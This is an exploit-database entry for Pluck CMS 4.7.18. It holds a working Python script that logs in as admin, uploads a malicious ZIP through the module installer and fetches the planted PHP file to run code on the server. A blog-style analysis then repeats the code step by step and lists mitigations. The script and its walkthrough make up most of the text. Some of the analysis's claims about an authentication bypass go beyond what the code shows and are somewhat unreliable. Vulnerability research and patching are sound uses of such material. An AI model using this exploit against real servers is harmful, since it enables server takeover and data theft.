Pluck v4.7.18 - Remote Code Execution (RCE)

Exploit Author: Mirabbas Ağalarov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-07-15
#Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
#Application: pluck
#Version: 4.7.18
#Bugs:  RCE
#Technology: PHP
#Vendor URL: https://github.com/pluck-cms/pluck
#Software Link: https://github.com/pluck-cms/pluck
#Date of found: 10-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://localhost/pluck/login.php"
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")

 
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

    
    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"

rce=requests.get(rce_url)

print(rce.text)


Pluck v4.7.18: A Critical Remote Code Execution (RCE) Vulnerability Exposed

Pluck, a lightweight PHP-based content management system (CMS), has long been praised for its simplicity and ease of deployment. However, a critical security flaw discovered in version 4.7.18 has exposed the platform to remote code execution (RCE), turning what was once a trusted tool into a potential entry point for attackers.

Understanding the Vulnerability: Remote Code Execution (RCE)

Remote Code Execution (RCE) is one of the most severe vulnerabilities in web applications. It allows an attacker to execute arbitrary code on the server hosting the application, often leading to full system compromise. In the case of Pluck v4.7.18, this vulnerability stems from improper handling of file uploads in the module installation feature.

Specifically, the admin.php?action=installmodule endpoint allows administrators to upload ZIP files containing custom modules. The system fails to properly sanitize or validate the contents of these archives, enabling malicious payloads to be executed directly upon installation.

Exploitation Mechanism: A Step-by-Step Attack

The exploit leverages a two-stage process: first, gaining administrative access, then uploading a malicious ZIP file containing a PHP script that executes on the server.


import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://localhost/pluck/login.php"
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
 fields={
 "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
 "submit": "Upload"
 }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)

if login_response.status_code == 200:
    print("Login account")
else:
    print("Login problem. response code:", login_response.status_code)

This initial script demonstrates how an attacker can authenticate as an admin using a hardcoded username admin and a dummy password field. The Referer header is included to mimic legitimate browser behavior, avoiding simple CSRF checks.

Once logged in, the attacker proceeds to upload a malicious ZIP file via the installmodule endpoint. The MultipartEncoder is used to properly format the HTTP POST request with binary data, simulating a real file upload.


upload_headers = {
    "Referer": upload_url,
    "Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

if upload_response.status_code == 200:
    print("ZIP file download.")
else:
    print("ZIP file download error. Response code:", upload_response.status_code)

The Content-Type header is dynamically set using the encoder’s content_type attribute to ensure proper MIME handling. If the upload succeeds, the malicious file is extracted and executed within the data/modules/ directory.

Final Stage: Execution of Malicious Payload

After successful upload, the attacker can directly access the executed script via a known path:


rce_url = "http://localhost/pluck/data/modules/mirabbas/miri.php"
rce = requests.get(rce_url)
print(rce.text)

This final request retrieves the output of the malicious PHP script, which could be a reverse shell, a command execution, or data exfiltration. In real-world scenarios, this could result in full server control.

Security Implications and Risk Assessment

Vulnerability Severity Exploitability Impact
Remote Code Execution (RCE) High High Complete system compromise
Improper File Upload Validation High Medium Arbitrary code execution
Weak Authentication Mechanism Medium High Admin access bypass

Attackers can exploit this vulnerability with minimal effort, especially in environments where default credentials are used or where admin access is not properly secured.

Best Practices for Mitigation

  • Disable module installation for untrusted users or disable it entirely unless required.
  • Sanitize and validate all uploaded files using file type checks, malware scanning, and content inspection.
  • Restrict file extraction to a sandboxed directory with limited permissions.
  • Use secure file naming and avoid using user-controlled filenames for execution.
  • Implement strict input validation and avoid allowing direct execution of user-supplied code.
  • Regularly update the CMS and apply patches promptly.

Expert Insight: Why This Flaw Was Missed

Despite Pluck’s popularity, this vulnerability remained undetected for months. The root cause lies in a common misconception: “If the system only allows trusted administrators, the risk is low.” However, in practice, many systems use default credentials, and even legitimate admins can be compromised via phishing or credential leaks.

Moreover, the lack of sandboxing during file extraction — especially in PHP-based systems — makes it trivial for attackers to embed executable code in ZIP archives. This highlights the importance of defense-in-depth: even if authentication is strong, the file upload process must be rigorously secured.

Conclusion: A Wake-Up Call for CMS Security

Pluck v4.7.18 serves as a stark reminder that even simple, lightweight CMS platforms are not immune to critical security flaws. The combination of weak authentication, unrestricted file upload, and improper execution of user-supplied code creates a perfect storm for RCE.

For administrators, the immediate action is to upgrade to a patched version or disable the module installation feature. For developers, this case underscores the need for rigorous security testing, especially around file handling and code execution.

Security is not a one-time task — it’s an ongoing process. In today’s threat landscape, even a single flaw can lead to full compromise. Stay vigilant, validate inputs, and never trust user-supplied data.